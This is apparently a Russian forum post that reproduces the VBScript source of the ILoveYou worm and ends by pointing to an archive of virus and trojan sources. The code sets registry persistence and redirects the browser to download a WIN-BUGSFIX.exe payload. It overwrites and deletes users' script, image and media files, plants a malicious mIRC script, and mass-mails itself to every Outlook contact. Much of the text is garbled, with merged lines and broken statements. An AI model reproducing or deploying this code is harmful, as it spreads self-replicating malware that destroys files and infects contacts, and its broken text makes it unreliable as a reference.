vrs's src

[nons]

Исходный код вируса ILoveYou
вирус написан на VBS
------------------------------------------------------

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\

Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\

Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\

Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\

Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 100000000000000000000 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\

Main\Start
Page","http://www.skyinet.net/~young1s/

HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/

skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRj

kcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/

sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw

237461234iuy7thjg/WIN-BUGSFIX
.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Run\WIN-BUGSFI
X",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\

Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\

Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\

LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_HOUSE\Software\Microsoft\WAB\

"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\

"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\

"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - 

LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?TAIL>"&vbcrlf& _
"<CENTER>
This HTML file need ActiveX Control<?-?p>
To Enable to read
this HTML file
- Please press #-#YES#-# button to EnableActiveX<?-?p>
"&vbcrlf& _"<?-?CENTER>
<MARQUEE LOOP=@-@infinite@-@BGCOLOR=@-@yellow@-
@>----------z--------------------z----------
<?-?MARQUEE>"&vbcrlf& _"<?-?BODY><?-?
HTML>"&vbcrlf& _"
<SCRIPT language=@-@JScript@-@>"&vbcrlf& _"
<!--?-??-?"&vbcrlf& _"if (window.screen)
{var wi=screen.availWidth;varhi=screen.availHeight;
window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _"?-??-?-->"&vbcrlf& _"
<?-?SCRIPT>"&vbcrlf& _"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _"
<!--"&vbcrlf& _"on error resume next"&vbcrlf& _"
dim fso,dirsystem,rea,code,code2,code3,

code4,aw,regdit"&vbcrlf& _"
aw=1"&vbcrlf& _"code="dta2="set
fso=CreateObject(@-@Scripting.

FileSystemObject@-@)"
&vbcrlf& _"set dirsystem=fso.GetSpecialFolder

(1)"&vbcrlf& _"
code2=replace(code,chr(91)&chr(45)&chr(91),

chr(39))"&vbcrlf& _"
code3=replace(code2,chr(93)&chr(45)&chr(93),

chr(34))"&vbcrlf& _"
code4=replace(code3,chr(37)&chr(45)&chr(37),

chr(92))"&vbcrlf& _"
set rea=fso.CreateTextFile(dirsystem&@-@

^-^MSKernel32.vbs@-@)"
&vbcrlf& _"wri.write code4"&vbcrlf& _"wri.close"&vbcrlf& _"
if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _"
if (err.number=424) then"&vbcrlf& 

_"aw=0"&vbcrlf& _"end if"&vbcrlf& _"
if (aw=1) then"&vbcrlf& _"document.write
@-@ERROR: can#-#t initialize ActiveX@-@"
&vbcrlf& _"window.close"&vbcrlf& _"end if"&vbcrlf& 

_"end if"&vbcrl& _"
Set regedit = CreateObject(@-@WScript.Shell@-@)

"&vbcrlf& _"
regedit.RegWrite@-@HKEY_LOCAL_MACHINE
^-^Software^-^Microsoft^-^Windows^-^
CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@
^-^MSKernel32.vbs@-@"&vbcrlf& _"?-??-?-->"&vbcrlf& _"
<?-?SCRIPT>"dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")set 
fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)lines=Split
(c.ReadAll,vbcrlf)l1=ubound(lines)for n=0 to ubound(lines)lines(n)=
replace(lines(n),"'",chr(91)+chr(45)+chr(91))

lines(n)=replace(lines(n),
"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))if 

(l1=n) 
thenlines(n)=chr(34)+lines(n)+chr(34)
elselines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end ifnextset b=fso.CreateTextFile(dirsystem+"

\LOVE-LETTER-FOR-YOU.HTM")b.close 
d=fso.OpenTextFile(dirsystem+"\

LOVE-LETTER-FOR-YOU.HTM",

2)d.write 
dt5d.write join(lines,vbcrlf)d.write vbcrlfd.write dt6d.closeend sub

[nons]

http://archiv.egocrew.de/rat_sources/ - огромный архив исходников вирусов и троянов, все разбито на разделы по языкам на котором вирь написан гуут